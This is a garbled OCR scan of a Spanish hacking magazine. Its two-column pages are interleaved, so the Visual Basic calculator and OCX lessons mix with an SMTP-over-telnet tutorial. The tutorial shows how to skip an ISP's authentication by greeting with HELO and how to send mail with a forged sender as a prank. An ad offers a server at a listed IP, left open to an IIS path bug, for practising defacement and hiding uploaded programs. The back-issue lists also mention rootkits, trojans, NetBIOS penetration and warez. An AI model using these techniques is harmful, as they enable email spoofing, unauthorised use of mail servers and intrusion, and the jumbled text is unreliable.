End Sub Que hace esto? Pues estamos concatenando
el valor de TxtOper con el del Index que, si
Private Sub Cmd1_Click() antes lo hemos hecho bien, debera tener el
TxtOper.Text = TxtOper.Text & "1" mismo valor que el del botn (0 para el Cmd0,
End Sub 1 para el Cmd1...).
Otra posibilidad, la cual me gusta mas, seria
Private Sub Cmd2_Click() la siguiente:
TxtOper.Text = TxtOper.Text & "2"
End Sub Private Sub Cmd1_Click(Index As Integer)
TxtOper.Text = TxtOper.Text &
Private Sub Cmd3_Click() Cmd1(Index).Caption
TxtOper.Text = TxtOper.Text & "3" End Sub
End Sub
En este caso estamos concatenando TxtOper
Private Sub Cmd4_Click() con el Caption del botn pulsado, que es el
TxtOper.Text = TxtOper.Text & "4" mismo que el valor que necesitamos.
End Sub Ejecutamos el proyecto, y si todo ha ido bien,
End Function
eso son de tipo Long, ya que pueden ser Si picis sobre la palabra Circle y pulsis F1
mayores al mximo admitido por el tipo de veris el significado de cada uno de los
dato Integer (en la segunda entrega ya se parmetros que recibe, siempre y cuando
indicaron los rangos de tipos de datos). tengis bien instaladas las MSDN.
Bien, qu estamos haciendo aqu?, pues muy
- R indica el radio del crculo, el cual puede ser fcil, le hemos dicho a nuestro OCX que dibuje
tan grande como nosotros queramos, por lo un circulo en PB de radio R en las posiciones
que tambin ser Long. X,Y con el color C.
- Finalmente C, que indicar el color. En este Y de donde recibe los valores esta funcin?
caso si que estamos hablando de un dato de Pues del formulario donde estamos agregando
tipo Integer, ya que su valor estar entre 0 y nuestro OCX. En este caso, para hacer la prueba
15 (colores bsicos). previa, vamos al explorador de proyectos (arriba
Ahora, dentro de esta funcin, vamos a dibujar a la derecha) y picamos con el botn derecho
el circulo. Para ello debemos utilizar la funcin sobre el proyecto. Nos aparecer un men
Circle que tiene el PictureBox. (Os habis desplegable, donde deberamos ver el submen
acordado de cambiarle ya el nombre?) Yo he Agregar. Al desplegarse este submen podemos
llamado a mi PictureBox PB, por lo que la lnea ver Formulario, Formulario MDI, modulo...
quedar as:
Nosotros, en nuestro caso, escogeremos
Public Function AddCirculo(X As Long, Y As Long, Formulario. Si os fijis bien, en la paleta de
R As Long, C As Integer) objetos hay uno nuevo, colocado habitualmente
PB.Circle (X, Y), R, QBColor(C) al final, seguramente deshabilitado, el cual es
End Function nuestro control de usuario. Para poder agregar
uno a nuestro proyecto debis volver antes al
Control de usuario y cerrar todo pulsando el
! La funcin... aspa de la imagen, hasta que vuelva al
formulario que hemos agregado.
La funcin QbColor() devuelve el valor necesario para la
funcin Circle cuando le pasamos un nmero entero. Los
valores para C estn en esta tabla:
redimensionamos hasta que adquiera el tamao "Tipo de proyecto" por "Exe estndar". Tambin
necesario (sera lo equivalente a hacer doble debemos fijarnos que en el combo "Objeto
click sobre el objeto en la paleta de controles). Inicial" aparece el nombre de nuestro
Necesitamos tambin saber la X, Y, radio y formulario. Aceptamos y ejecutamos. Si todo
color, aqu dejo que vuestra imaginacin decida, ha ido bien deberamos poder dibujar crculos
por mi parte, voy a crear 4 cajas de texto y un en nuestro control OCX.
botn.
Esto visto as, puede parecer una autentica
Los TextBox servirn para indicar cuales sern chorrada, seguro que alguno se est
los valores para las variables anteriormente preguntando y porque no hemos puesto un
mencionadas (X,Y,R,C), y cada vez que PictureBox en un formulario directamente y
pulsemos Pintar se dibujar un circulo en el pintamos a partir de este?, pues ahora vamos
PictureBox de nuestro OCX. a ver la verdadera utilidad de un OCX.
! S os aparece...
SI TE GUSTA LA INFORMTICA.
SI ESTAS CABREADO CON GINDOUS ;)
SI QUIERES PROGRESAR DE VERDAD
Incluye 7 CDs y 1 DVD
PC PASO A PASO Manual de Instalacin.
SOR TEA CADA MES UN S.O. Manual de Administracion
Windows 9x:
Windows 2000, vamos al men de Inicio, implementacin de las service extension, tal
Ejecutar, y escribimos: y como veremos ahora.
telnet Para mantener la compatibilidad, cualquier
Una vez dentro de la aplicacin de Telnet, servidor SMTP debe soportar tambin el uso
escribimos: de HELO, pero lo habitual es que cualquier
set localecho cliente salude siempre con EHLO.
Con lo que activamos el eco local, y ya slo Que para qu sirve esto de saludar a una
nos falta escribir: mquina?
o smtp.jotmail.com 25 Si recordamos un poco lo que he explicado
Para establecer la conexin con el servidor. antes sobre el camino que segua el mensaje
de Pringaete hasta llegar a Macizorra, sabremos
Linux/Unix: que bsicamente un servidor SMTP puede recibir
dos tipos de conexiones:
Desde una consola (shell) simplemente - Conexiones de un cliente (como t,
escribimos: como yo, y como Pringaete).
telnet smtp.jotmail.com 25 - Conexiones de otro servidor de SMTP
(aquellos que se usan como intermediarios para
Una vez conectados, el servidor SMTP nos transportar un mensaje).
enviar un breve saludo. Lo nico importante Al saludar al servidor le estamos diciendo de
de este saludo es que tiene que empezar por dnde venimos nosotros, es decir, si somos un
220 si todo ha ido bien. cliente de ese mismo servidor, o si traemos un
Por ejemplo: mensaje desde otro lado.
220 smtp03.jotmail.com ESMTP Para indicar esto lo que hacemos es indicar en
el saludo un nombre de dominio. Por ejemplo:
Por cierto, que en este ejemplo esa coletilla de EHLO jotmail.com
ESMTP nos indica que el servidor soporta Con esto le estamos diciendo que el dominio
service extension, lo cual nos ser til para desde el que queremos enviar el mensaje es
saber cmo debemos proceder a continuacin, jotmail.com.
tal y como explicar en el siguiente punto. Vamos a ver la diferencia entre HELO y EHLO:
te enviar una lista de service extension que sesin sin password, incluso habiendo iniciado
puedes utilizar (porque el servidor las tiene la sesin con HELO. Claro que, pensar que
implementadas). Conociendo ya las cualquier administrador es lo suficientemente
caractersticas adicionales que puedes utilizar avispado es pensar mucho, y yo mismo puedo
en ese servidor, puedes empezar a enviar los contaros el caso de un servidor SMTP de un
mensajes que quieras, utilizando o no esas ISP espaol (cuyo nombre no voy a dar :-P)
c a ra c t e r s t i c a s s e g n t e c o nv e n g a . que requiere autenticacin, pero slo la exige
En algunos casos, estas caractersticas si se inicia la sesin con EHLO, por lo que
adicionales (las service extension) no estn basta con que utilices HELO en lugar de EHLO
slo para que las use quien quiera, si no que para utilizar ese servidor gratuitamente. 0:)
pueden tambin ser de uso obligatorio. Un
ejemplo tpico de esto es el de las service En el caso de que no tengamos que
extension de autenticacin, que sirven para autenticarnos, bien porque el servidor no tenga
exigir un password para poder entrar en la implementada esa service extension (que, por
cuenta de correo. cierto, viene documentada en el RFC 2554:
Pero como.... Qu el usar un password para ftp://ftp.rfc-editor.org/in-notes/rfc2554.txt), o
poder enviar e-mails es slo una caracterstica bien porque sea opcional, todo es mucho ms
opcional?? Pues, por increble que parezca, sencillo (y ms divertido ;-)
no has ledo mal: el protocolo SMTP no As que, si hemos tenido la suerte de dar con
exige el uso de ningn password, por lo un servidor SMTP que no exige autenticacin,
que cualquier servidor SMTP que no tenga podemos pasar directamente al punto 3.4. Si
implementada esta service extension permitir no, tendremos que seguir aqu para ver cmo
que cualquiera enve mensajes desde ese solucionar este paso.
servidor, sin necesidad de tener ninguna cuenta.
3.3.1. Cmo sabemos si tenemos que
3.3. Nos autenticamos? (Tampoco es autenticarnos?
una errata. Si os suena mal, mirad el
diccionario :P) Que cmo sabemos si el servidor requiere
autenticacin? Slo lo sabremos si saludamos
Si os habis enterado un poco de que va el con EHLO, pues ser entonces cuando el
tema (si no, es por mi culpa, ya que no me servidor nos de la lista de service extension
habr explicado con claridad), estaris ahora que tiene implementadas.
pensando que una posible forma de saltarse Si en la lista que nos devuelve el servidor tras
la autenticacin es utilizar el comando HELO el EHLO, se encuentra una lnea con la palabra
en lugar de EHLO, ya que sera algo as como AUTH: mal rollo. Este servidor tiene
decirle al servidor: implementada la service extension de
"Mira, me encantara identificarme con un autenticacin.
password, pero es que resulta que mi cliente Como ejemplo de esto vamos a ver la respuesta
de correo es tan antiguo que no me permite que nos da el servidor de cuentas gratuitas del
hacer eso. As que entro por las buenas, vale? que hablbamos en el nmero anterior
;-)" (www.hotpop.com):
Podemos pensar que cualquier administrador
de un servidor SMTP ser lo suficientemente 220 smtp-1.hotpop.com ESMTP Postfix
avispado como para no permitir esto, as que ehlo bonbon.net
lo normal es que cualquier servidor que requiera 250-smtp-1.hotpop.com
el uso de autenticacin no permita iniciar una 250-PIPELINING
Pues eso, el subject o asunto del mensaje Una vez terminado el proceso de redaccin del
:-P mensaje, ya slo falta salir del servidor y, de
Subject: Ajo y Agua nuevo, lo haremos con el mismo comando que
F ro m : m u s c l e m a n @ re q u e t e v i s i o n . n e t From: muscleman@requetevision.net
To: macizorra@jotmail.com To: macizorra@jotmail.com
Subject: Fue bonito mientras dur Subject: Ajo y Agua
Lo siento, Maci, pero he descubierto que no me van Lo siento, Maci, pero he descubierto que no me van
las mujeres, as que lo nuestro se termin. Un besito. las mujeres, as que lo nuestro se termin. Un besito.
250 Ok
Fdo: Musculitos
QUIT
Pringaete qued bastante estupefacto, no slo
por la terrible amenaza, si no tambin por el
221 smtp014.requetevision.net
hecho de que el destinatario del mensaje no
SABEMOS que muchas personas (quizs tu eres una de ellas) han creado
t ex t o s y c u r s o s p a r a c o n s u m o p r o p i o o d e u n o s p o c o s .
- Hack x Crack ha habilitado un servidor para que puedas A partir de ese momento, cualquiera que acceda a ese
realizar las prcticas de hacking. servidor, ver el default.htm modificado para vergenza
del site hacheado. Esto es muy genrico pero os dar
- Actualmente tiene el BUG del Code / Decode y lo una idea de cmo funciona esto de hackear Webs ;)
dejaremos as por un tiempo (bastante tiempo ;) Nuestra
intencin es ir habilitando servidores a medida que os - Cuando accedas a nuestro servidor mediante el CODE /
enseemos distintos tipos de Hack, pero por el momento DECODE BUG, crea un directorio con tu nombre (el que
con un Servidor tendremos que ir tirando (la economa no mas te guste, no nos des tu DNI) en la unidad d: a ser
da para mas).
posible (que tiene mas espacio libre) y a partir de ahora
- En el Servidor corre un Windows 2000 Advanced Server utiliza ese directorio para hacer tus prcticas. Ya sabes,
con el IIS de Servidor Web y est en la IP 80.36.230.235. subirnos programitas y practicar con ellos :)
- El Servidor tiene tres unidades: Puedes crearte tu directorio donde quieras, no es necesario
* La unidad c: --> Con 2GB que sea en d:\mellamojuan. Tienes total libertad!!! Una
* La unidad d: --> Con 35GB y Raz del Sistema idea es crearlo, por ejemplo, en
* La unidad e: --> CD-ROM d:\winnt\system32\default\mellamojuan (ya irs
aprendiendo que cuanto mas oculto mejor :)
Nota: Raz del Servidor, significa que el Windows Advanced
Server est instalado en esa unidad (la unidad d:) y Es posiblemente la primera vez que tienes la oportunidad
concretamente en el directorio por defecto \winnt\ de investigar en un servidor como este sin cometer un
Por lo tanto, la raz del sistema est en d:\winnt\ delito (nosotros te dejamos y por lo tanto nadie te
perseguir). Aprovecha la oportunidad!!! e investiga mientras
- El IIS, Internet Information Server, es el Servidor de dure esta iniciativa (que esperamos dure largos aos)
pginas Web y tiene su raz en d:\inetpub (el directorio
por defecto) - En este momento tenemos mas de 600 carpetas de pea
que, como tu, est practicando. As que haznos caso y
Nota: Para quien nunca ha tenido instalado el IIS, le ser crea tu propia carpeta donde trabajar.
extrao tanto el nombre de esta carpeta (d:\inetpub) cmo
su contenido. Pero bueno, un da de estos os ensearemos
a instalar vuestro propio Servidor Web y detallaremos su
funcionamiento.
Nota: Como curiosidad, te diremos que APACHE es otro MUY IMPORTANTE!!!!! Por favor, no borres archivos
Servidor de pginas Web (seguro que has odo hablar de
l). Si tuvisemos instalado el apache, cuando pusieses del Servidor si no sabes exactamente lo que ests haciendo ni
nuestra IP en TU navegador, accederas a un directorio borres las carpetas de los dems usuarios. Si haces eso, lo nico
raz del Apache (donde se hubiese instalado) e intentaras
leer una pgina llamada index.html que consigues es que tengamos que reparar el sistema servidor
y, mientras tanto, ni tu ni nadie puede disfrutar de l :(
Explicamos esto porque la mayora, seguro que piensa en
un Servidor Web como en algo extrao que no saben ni Es una tontera intentar romper el Servidor, lo hemos puesto
donde est ni como se accede. Bueno, pues ya sabes para que disfrute todo el mundo sin correr riesgos, para que todo
dnde se encuentran la mayora de IIS (en \Inetpub\) y
cul es la pgina por defecto el mundo pueda crearse su carpeta y practicar nuestros ejercicios.
(\Inetpub\wwwroot\default.htm). Y ahora, piensa un poco
En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
Cul es uno de los objetivos de un hacker que quiere
decirle al mundo que ha hackeado una Web? Pues est de nada que robar, es un servidor limpio para TI, por lo tanto
claro, el objetivo es cambiar (o sustituir) el archivo
default.html por uno propio donde diga hola, soy DIOS cudalo un poquito y montaremos muchos ms :)
y he hackeado esta Web (eso si es un lamer ;)
NMERO 2:
NMERO 3:
NMERO 4:
-HACK-OPINION: LA PIRATERA EN
INTERNET.
-ROOTKITS: LA PESADILLA DE
CUALQUIER ADMINISTRADOR.
-ROOTKITS: EL SR. NTROOT.
-WAREZ: APPZ, GAMEZ, MP3Z, DIVX,
FTPZ, 0-DAY.
-APRENDIENDO A COMPILAR
PROGRAMAS. COMPILA TU PROPIO
NETCAT.
-BUGS, ERRORES Y OTRAS FORMA DE
JOD...
-NETBIOS: ESTUDIO Y PENETRACIN DE
SISTEMAS.
-ASESINADOS POR LA LSSI.
-LISTADO DE ORDENES PARA NETBIOS.
-HACK-OPINION: PAGOS POR INTERNET
SEGUROS Y.
NMERO 6:
NMERO 7:
- PROTOCOLOS: POP3
- PASA TUS PELICULAS A DIVX III (EL AUDIO)
- PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)
- CURSO DE VISUAL BASIC: LA CALCULADORA
-IPHXC: EL TERCER TROYANO DE HXC II
- APACHE: UN SERVIDOR WEB EN NUESTRO PC
- CCPROXY: IV TROYANO DE PC PASO A PASO
- TRASTEANDO CON EL HARDWARE DE UNA LAN